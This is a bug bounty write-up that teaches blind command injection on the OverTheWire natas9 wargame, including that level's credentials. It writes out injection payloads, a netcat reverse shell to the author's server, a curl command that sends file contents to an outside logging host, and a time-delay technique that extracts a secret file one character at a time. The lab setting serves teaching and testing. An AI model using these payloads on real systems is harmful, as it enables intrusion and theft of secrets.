In an event, I found a command injection vulnerability. I first submitted the vulnerability to the vendor using the delay as a proof. The vendor rejected it on the grounds of poor network environment. After several communications, the vendor told me if I could retrieve the specified file. secret.txt, they recognized this vulnerability. The goal is a restricted environment: no egress traffic, NAT mapping to the public network, no page echo, no guessing of web directories. In other words, without egress traffic, you cannot rebound the shell, and AT isolation cannot establish a forward shell. There is no output on the page, so it is impossible to see the command result. If the web directory is not found, no container can resolve it even if the webshell is successfully created. How can I view secret.txt and get the bounty smoothly?
When discussing technical issues, I am used to taking an environment that everyone can access as an example. In this way, on the one hand, you can verify the correctness of my idea through operations, on the other hand, practice can also trigger your different thinking on the same issue. Due to the non-disclosure agreement, I couldn’t describe the real case mentioned earlier in more details. I finally found a wargame with a similar environment and shared it with you.
http://natas9.natas.labs.overthewire.org, account natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl, provide the source code, you have to check the contents of /etc/natas_webpass/natas10:
Command injection, I used to find out what restrictions the server has, whether to limit the content length, whether to filter special characters, whether to filter system commands, whitelist or blacklist, whether to close single/double quotes, operating system category, these Information is essential for constructing loads. The source code is given in the lower right corner of the page, and the difficulty is reduced a lot, but understanding the constraints is your priority in other black box test scenarios. Ok, now check the source code:
It can be seen from the code that the server did not check any malicious input, and directly passed the input $key as the command line parameter of grep -i $key dictionary.txt to the passthru() function to execute the system command.
Obviously, if the most basic command substitution character $() is not filtered, then submit $(sleep 4). If the response is delayed by 4s, the vulnerability can be confirmed. (Close the application that consumes high network bandwidth on the attacking side to avoid affecting the results) I first submit the ordinary string xxxx, and the response is:
There is no actual content output on the page, and it takes about 0.3s. Next, submit xxxx%24%28sleep+4%29, and the response is as follows:
It takes about 4.3s, then it can be confirmed that the interface has a command injection vulnerability. Two points of attention: One is that the payload is directly written in the data packet intercepted by burp, without browser URL encoding, so you have to manually encode characters other than letters and numbers by URL (burp’s decoder module); the other is, The attack payload should contain the same ordinary string as before to avoid timing errors.
To take advantage of the vulnerability to obtain the contents of /etc/natas_webpass/natas10, the current code environment is grep -i $key dictionary.txt. The first idea presented is to inject a command separator to end grep -i, and inject commands to view the contents of natas10, comments out the remaining dictionary.txt. In this way, the original command line is divided into three parts with correct syntax. The command separator uses ;. The comment symbol uses #. Therefore, construct the following load (highlighted in yellow) as the input of the parameter key:
After submitting, you can successfully view the content of natas10 nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu:
Increase the difficulty appropriately. Assuming that the server has filtered all command separators (;|& and carriage return), can it be broken? After simple thinking, I thought of a way. There is grep in the code environment. It can output the line where the character is located as long as it matches the previous character. Then, find any character in the flag, and grep can output the complete flag. Therefore, construct the following payload:
Try your luck and see if a is in the flag:
Luckily, he also successfully got the flag.
Increase the difficulty. If there is no page echo, is there any way to get the flag?
0x01 new method
For scenarios where there is no page echo, I often use the following methods to obtain content: the first is to write or download webshell; the second is to use nc, bash, python or other scripting languages to rebound shell; the third Use curl and wget to access my own VPS, put the content in the path of the URL, and check the network access log to get the content. This is also your favorite blind injection.
The first type: write webshell. First use touch foo to confirm whether the web directory has write permission:
View the file list:
Obviously, there is no write permission. This method does not work.
The second is to rebound the shell. First confirm whether the target has nc, execute which nc:
cool! Immediately start monitoring nc -nlvp 12312 on my VPS, execute nc 18.104.22.168 12312 -e /bin/sh on the target, and prepare to receive the shell:
After waiting for two minutes, the server did not answer, and no connection was received on the VPS. Maybe the nc version is wrong, try nc.traditional 22.214.171.124 12312 -e /bin/sh, it looks the same. Strange, could it be that the target prohibits output port traffic! ? Confirm quickly. Ping your VPS on the target, then log in to view the ICMP real-time log:
Without any ping records, it can basically be inferred that the target prohibits egress traffic.
Similar to the second and third methods, the old method of using the network request log as the out-of-band content return channel is no longer applicable in the current scenario.
The current environment is that the goal is to prohibit export traffic, no page output, and no write permission for web directories. Common exploit methods are invalid. The only remaining delay method can only be used to confirm whether the vulnerability exists and cannot bring back what I need.
Wait a minute, why can’t I use the time delay as a carrier to transmit content?
The confirmation and utilization of such vulnerabilities of command injection are two independent links, which are similar to the way the payload is written but have different techniques. For example, if a command is injected into a vulnerability, there is no response on the page, so you have to blind injection. In the confirmation link, you inject; after sleep 4 is executed, if the response is delayed by 4s, the heart will ripple; in the vulnerability exploitation link, I want to retrieve the secret. txt, you will apply for a temporary secondary domain name foo.ceye.io on ceye.io, inject the curl foo.ceye.io/$(cat secret.txt) command into the target, log in to ceye.io to view the HTTP access log, foo The complete secret.txt content can be seen in the path of .ceye.io. You see, I used the delay technique for the confirmation link, and the HTTP access log technique was used for the utilization link.
Time delay, is it possible to bring back content?
0x02 local exploration
Delay, the receiving end is not a machine, but a human. If the delay is felt, there will be loopholes, and there will be no if there is no delay, which is equivalent to the returned Boolean value:
But the injected payload cannot use if statement. Which way can replace if? Conditional operator:
Unfortunately, this syntax is not supported in the command line; short-circuit operators such as &&, || can also realize conditional judgment in disguise, but this is the focus of server-side filtering.
What happens if the sleep parameter is non-numeric:
Although there is an error output but there is no delay, you can find a way to convert the characters I specify into numbers. Unsatisfied reservations do not do any conversion, then, as long as the result is delayed, it can indicate that the character to be guessed is equal to the character I specified. tr is a commonly used character conversion command, a is the input, x is the character to be converted, a does not match x and cannot be converted, and the output still retains a; if the input is changed to x, the output is converted to 4:
Stringing together, depending on whether it is delayed, is equivalent to constructing an inquiry system:
You see, I can already guess that the current character is x!
Let’s experiment on the command line:
Among them, $() is the command substitution character, which is calculated first. When the guess is a, the system has no delay, when the guess is x, the delay is 4s.
What if the input is a string instead of a single character? Not difficult, cut can extract a single character:
There are hundreds or thousands of characters. The above method only uses letters as an example. If it is a number, can it still work? For example, if the character to be guessed is 9, you have to wait when guessing 0-8:
Every guess is delayed, resulting in a waste of time and needs to be optimized. In fact, guessing the number is easier, the parameter of sleep should be a number, and the delay is a few seconds:
In addition to letters and numbers, there are special characters (% @), escape characters (\n \r \t), etc. If you put all possible characters in the dictionary and submit them to sleep for inquiries, the efficiency is definitely not high . Therefore, we have to continue to optimize, and the situation of guessing only the numbers and letters is too ideal. Speaking of only containing numbers and letters, I naturally think of base64, which contains 65 characters in total [0-9a-zA-Z+/=]. Furthermore, base32 is not bad, and contains 33 characters in total [2-7A-Z=]. Furthermore, base16 is also possible, including 16 [0-9A-F] in total. Obviously, based on the dictionary size alone, base16 is the best, but unfortunately most systems do not install base16 and base32 by default. On the whole, base64 is the best choice. For example, the Chinese “Kids” is base64 encoded as 5bCP5pyL5Y+LCg==:
Among them, the base64 command output is folded by 76 characters per line by default, and the parameter -w0 is used to cancel this behavior.
Now, I can convert any string to a new string containing only letters and numbers. Since the way to guess letters and numbers is different, there is one last question left. How do I distinguish between letters and numbers? My thoughts are as follows:
• In the first step, execute sleep? To give the character to be guessed directly to sleep. If there is a delay, it must be a number, and if there is a delay, it will be a few seconds. If there is no delay, it may be 0, letters, +, /, =;
• Step 2: Execute sleep $(echo? | Tr 0 4) to ask if it is 0. If it is delayed, it means 0, otherwise it may be letters, +, /, =;
• In the third step, execute sleep $(echo? | Tr a 4) to ask if it is a, if it is delayed, it means a, otherwise it may be other letters, +, /, =
• The fourth step, repeat the third step to guess the solution.
Observe that the second and third steps are the same, so the conclusion is: first treat all characters as numbers to sleep? If the delay is a few seconds(such as 4 seconds), then the number is 4; if there is no delay, use the dictionary [0a-zA-Z+/=] to execute sleep $(echo? | tr §x§ 4) and brute force. Among them,? Represents the character to be guessed, and §x§ is an enumerated variable.
0x03 Challenge again
Well, we have explored a way to use time delay as a character guessing solution. In the assumed restricted environment of the previous wargame (export traffic is prohibited, no page output, web directory has no write permission), we try to use time delay as a carrier for transmitting content .
Through other methods, we already know that the flag is U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK, which does not contain special characters. For the clarity of the main line of our discussion, we will not perform base64 encoding for the time being. ok, start acting!
The first step is to understand the normal access time as a baseline value. Try to make the attacker’s bandwidth free and submit the ordinary string xxxx:
There is no actual content output on the page, and it takes about 0.3s.
The second step is to obtain the content length of /etc/natas_webpass/natas10. Execute $(sleep $(cat /etc/natas_webpass/natas10 | wc -c)) on the target, and the waiting time is the content length of natas10:
It takes about 33.4s, and then subtracting the reference value, it can be inferred that the content length of natas10 is about 33. Since cat automatically adds newline characters, the exact value should be 32. If you are worried about errors in a single test, you can try several times and take a high probability value (non-average value). The URL-encoded payload does not look straightforward. You move the cursor over and pause for a while, and burp automatically decodes it. Isn’t that clearer?
In addition, the content of natas10 is not too much. The delay of 32s is acceptable. What if it is 1024s? Then you can only guess the solution after extracting everyone one by one with the help of cut. You should understand what I’m talking about.
The third step is to guess all the numeric characters. As mentioned earlier, guessing the numbers ([1-9]) and letters ([0a-zA-Z+/=]) uses a completely different technique. I first treat each character in the string as a number, and give sleep one by one. ?, which character has a delay, it must be a certain number that is non-zero, and the delay of a few seconds（such as 6 seconds） means that it is the number 6.
Execute $(sleep $(cat /etc/natas_webpass/natas10 | cut -c1)) on the target to guess the first character. I want to guess 32 characters. Therefore, change the -c parameter in cut -c§1§ As an enumerated variable, the dictionary is [1-32]:
I set the number of concurrency to 64, and it was over in less than ten seconds. To view the time spent on each request, just check columns-response completed in the intruder attack window, and arrange them in descending order of time:
Since the current guess is the number [1-9], the network error can only be greater than the minimum 1s, so the time-consuming less than 1s can be ignored, and the ones greater than 1s must be accurate? The network time-consuming is affected by many elements, and a single result cannot represent the real situation. I have to verify it many times. Therefore, I selected 15 records that took longer than 1s, and clicked request items again to submit requests in batches again:
There are only 6 items left this time, 5 items after the third submission, 4 items for the fourth time, and the number and time consumption of the fifth, sixth and seventh times are the same as the previous time. The stable value can be used as the trust value:
As can be seen from the figure, the 27th digit is the number 7, the 15th digit is 1, the 5th digit is 1, and the 22nd digit is 1, fill in the 32-bit flag????1??????? ??1??????1???7?????.
The fourth step is to guess all alphabetic characters. It’s not too rigorous, it should be [0a-zA-Z+/=]. Execute $(sleep $(cat /etc/natas_webpass/natas10 | cut -c§1§ | tr §x§ 2)) on the target, where the -c parameter in cut -c§1§ is used as enumeration variable 1 , The dictionary is [1-32] (cut out the numbers other than 27, 15, 5, 22), and the parameter §x§ in tr §x§ 2 is used as an enumeration variable. 2. The dictionary is [0a-zA-Z+ /=], the two enumeration variables are combined and brute force by cluster bomb:
If the dictionary is a continuous number, it can be generated quickly by selecting numbers with the payload type of intruder, but here the dictionary of enumeration variable 1 is not a continuous number, but 27, 15, 5, 22 are removed from [1-32], there are a total of more than thirty figures. Manual input is also acceptable, if it is three thousand numbers? You have to find an automated way. Python is definitely one of the choices. Now we are discussing command injection. The command line is my first choice, seq 1 32> num.lst and then pick out the 4 numbers:
As for the dictionary of enumeration variable 2, it is even simpler. Simply select a-z and A-Z from the burp built-in dictionary, and then manually add the four characters 0+=/:
The number of concurrency is set to 32, and then it starts to burst, and it is completed in about a minute. From the results, it is found that a large number of records take more than 1s. Theoretically, the reference value is 0.4s and the delay time set in the payload is 2s. Then, all Records should not have values other than 0.4s and 2s, but considering the network error, so records less than 2s can be ignored, select all records above 2s (about 60), and multiple batch verification (continue to ignore the addition Records below 2s) until it stabilizes at 2s:
Isn’t it cool? The first line shows that the 17-digit is the letter U, and the second line shows that the 28-digit is the letter x. Similar results can be obtained for other letter guesses.
Now, summarizing the existing information, the flag has a total of 32 bits, of which the 27, 15, 5, and 22 bits are numbers, which are 7, 1, 1, and 1, respectively. The remaining bits are all letters, and the value is the result of the above figure. After a little synthesis, the complete flag is nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu. Aha! !
0x04 unfinished ending
Yes, I successfully visited secret.txt and successfully got a rich bounty! You ask me if this process is bothersome? Quite troublesome. The sense of accomplishment of breaking through many obstacles and completing tasks is much higher than the fun that bounty brings me. This is the real fun.
The vulnerabilities of blind command injection, everyone thinks that delay can only be used as a means to verify the existence of vulnerabilities , and cannot be a channel for content return. In fact, it can! Of course, you will also be entangled whether it is this vulnerability or the wargame in the previous example. It is not an absolute restricted environment. It does not use filter command substitution and pipe symbols. Commands must be executed sequentially. Even the target must be linux, and the content retrieved must be small volume. What you said is correct, but isn’t the essence of information security to find the flaws of unconventional thinking about existing affairs? Where can there be an all-in-one attack model, by analogy and adapting to local conditions.
There are still some ideas that need to be thought about. For example, the entire process of manual operation (burp has tried its best) is relatively cumbersome and not suitable for the promotion of this type of attack model. Later, scripts must be developed to achieve the purpose of automation; for example, if the target executes commands asynchronously, then I have to look for Others generally believe that only vulnerabilities can be confirmed, and in-depth exploration may become a mechanism for content return carriers (similar to ping).